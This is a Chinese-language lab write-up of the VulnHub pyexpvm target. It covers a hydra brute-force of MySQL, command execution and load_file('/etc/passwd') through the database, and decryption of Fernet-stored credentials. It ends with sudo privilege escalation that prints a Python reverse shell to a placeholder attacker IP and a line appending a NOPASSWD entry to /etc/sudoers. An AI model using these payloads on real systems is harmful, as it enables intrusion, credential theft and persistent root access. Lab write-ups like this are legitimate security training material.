1-pyexpvm打靶记录
下载:https://download.vulnhub.com/pyexp/pyexpvm.zip
- 靶场搭建
下载下来是zip压缩文件,解压后是.ovf虚拟机压缩文件直接用Vmvare导出就行

打开后把网络模式设置为NAT模式(和kali攻击机模式一样就ok)

查看靶机ip地址为192.168.75.132

渗透测试
- 端口扫描

开发了3306端口,存在mysql服务,用于MySQL数据库,安全风险在于root弱密码
确认MYSQL数据库服务的存在、收集其版本和配置信息

sS(SYN扫描):这是一种隐蔽的扫描方式(半开扫描),快速且不易被目标系统日志记录。
-
p 3306:指定只扫描3306端口,避免全面扫描的噪音,提高效率。 -
A(全面探测):启用操作系统检测、版本检测、脚本扫描和路由追踪等高级功能。 -
使用hydra爆破
关于字典
也可以自己创建字典文件
这里创建一个常用用户名字典
!image.png
进入后按i进入编辑模式,输入字典内容,按esc后输入:wq保存退出,cat常看内容
!image.png
在 Kali Linux 中,rockyou.txt 字典文件默认是压缩的,需要先解压
切换到字典目录 cd /usr/share/wordlists/
解压 rockyou.txt 文件 sudo gunzip rockyou.txt.gz
使用hydra开始进行root密码爆破
hydra -L '/home/kali/Desktop/username_list.txt' -P '/home/kali/Desktop/rockyou.txt' -t 4
192.168.40.129 mysql分析该命令
-
得到账号密码 login: root password: prettywoman

-
进行登陆

分析该命令
mysql:调用 MySQL 命令行客户端程序。h 192.168.75.132:指定要连接的数据库服务器的 IP 地址。u root:使用用户名root进行登录(这是数据库的最高权限账户)。p:表示需要交互式地输入密码(输入时密码不会显示,增强了安全性)。-ssl=0:显式地禁用 SSL 加密连接。这个参数通常用于连接不支持或未配置 SSL 的旧版本服务器,或者是为了在受信任的内网环境中避免加密带来的性能开销。
重要安全启示
这个成功的连接揭示了目标服务器一个极其严重的安全风险:
- 弱密码或默认密码:能够用
root账户和某个密码成功登录,强烈暗示该账户使用了弱密码、默认密码或者是通过字典攻击爆破成功的密码。 - root账户的远程访问:允许
root这类高权限账户从远程网络直接登录,本身就是不安全的配置。最佳实践是只允许普通权限账户远程登录,或通过跳板机管理。 - SSL被禁用:使用
-ssl=0意味着通信是明文传输的。在内网中可能可以接受,但在任何不安全的网络环境中,数据库的查询、密码等敏感信息都可能被窃听。 - 为后续可能的数据查询、权限提升或横向移动打开了大门。
利用数据库权限在底层操作系统上执行命令(权限验证和权限提升尝试)

命令分析
system id- 意图:验证数据库服务进程在操作系统上运行时的权限级别。
- 结果:
uid=0(root) gid=0(root) 组=0(root) - 分析:这是一个极其关键的发现。它表明 MariaDB 服务是以 Linux 最高权限 root 账户 运行的。这意味着,通过数据库执行的任何系统命令都拥有对操作系统的完全控制权。这是最危险的配置之一。
system ifconfig- 意图:探查服务器的网络配置信息,为可能的横向移动(攻击内网其他机器)收集情报。
- 分析:成功结果显示网络接口
eth0的 IP 地址为192.168.75.129。这与之前扫描的目标192.168.75.132不同,说明你现在控制的是内网中的另一台服务器。这证实了横向移动的发生。
3.do_system
- 意图:尝试通过 MySQL 的用户定义函数(UDF)来执行命令,这是一种更程序化、更隐蔽的方式。
- 结果:告失败 (
FUNCTION do_system does not exist)。 - 分析:这表明目标系统上没有安装
lib_mysqludf_sys这类可以创建命令执行函数的 UDF 库。但幸运的是(从攻击者视角),MariaDB 默认提供了更直接的system命令,使得 UDF 变得不必要
查一下数据库

后面尝试select load_file('/etc/passwd'); 用系统函数读取系统文件成功
但是没有有价值的信息
结果分析
use data(切换至目标数据库)
- 目的:进入
data数据库,准备进一步探查其内部结构。
fernet表名的特殊意义:
这个名字非常关键,它强烈暗示了这张表的作用:
- Fernet 是一种流行的对称加密算法的名称(通常通过Python的
cryptography.fernet库实现)。 - 在实践中,开发人员常使用Fernet来加密存储数据库中的敏感字段(如密码、API密钥、个人身份信息等)。
- 因此,名为
fernet的表很可能直接存储着加密后的敏感数据,或者存储着用于加密其他数据的密钥。
查看表格内容

cred那串字符看起来是Fernet加密后的密文,而keyy可能是加密用的密钥,可以使用 Fernet 库(例如 Python的 cryptography.fernet)对 cred中的密文进行解密

b'lucy:wJ9`"Lemdv9FEw-’
猜测登录账号kucy,密码wJ9"Lemdv9[FEw-
进行ssh连接登陆

查看文件,得到第一个flag

- 权限提升
前面已经爆破出来了root用户的密码prttywoman
尝试进行数据库提权,不可行

尝试sudo提权

命令分析
权限探查 (sudo -l)
- 关键发现:用户
lucy可以无需密码以 root 权限运行特定的 Python 脚本。
脚本分析 (ls -l和 cat)
uinput = raw_input('how are you?')
exec(uinput)
- 脚本功能:该脚本使用
raw_input()获取用户输入,然后直接用exec()函数执行输入内容。 - 安全漏洞:
exec()函数会执行任意 Python 代码,这相当于提供了一个直接的代码执行后门。 - 权限级别:由于脚本通过 sudo 以 root 权限运行,执行的代码也将拥有 root 权限。
攻击者可以通过以下方式轻松获得 root shell:
方法一:直接执行系统命令
sudo /usr/bin/python2 /opt/exp.py
当提示 how are you?时,输入:
import os; os.system('/bin/bash')
或者更简洁的:
__import__('os').system('/bin/bash')
方法二:生成反向 Shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击者IP",端口))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
方法三:创建永久 root 权限
import os
os.system('echo "lucy ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers')
🚨 安全风险等级
风险等级:严重
这种配置漏洞包含了多个致命问题:
- 不必要的特权权限:普通用户无需拥有 root 权限。
- 无密码执行:
NOPASSWD移除了最后一道屏障。 - 代码注入漏洞:
exec(input())是极度危险的编程实践。
触发漏洞得到第二个flag


浙公网安备 33010602011771号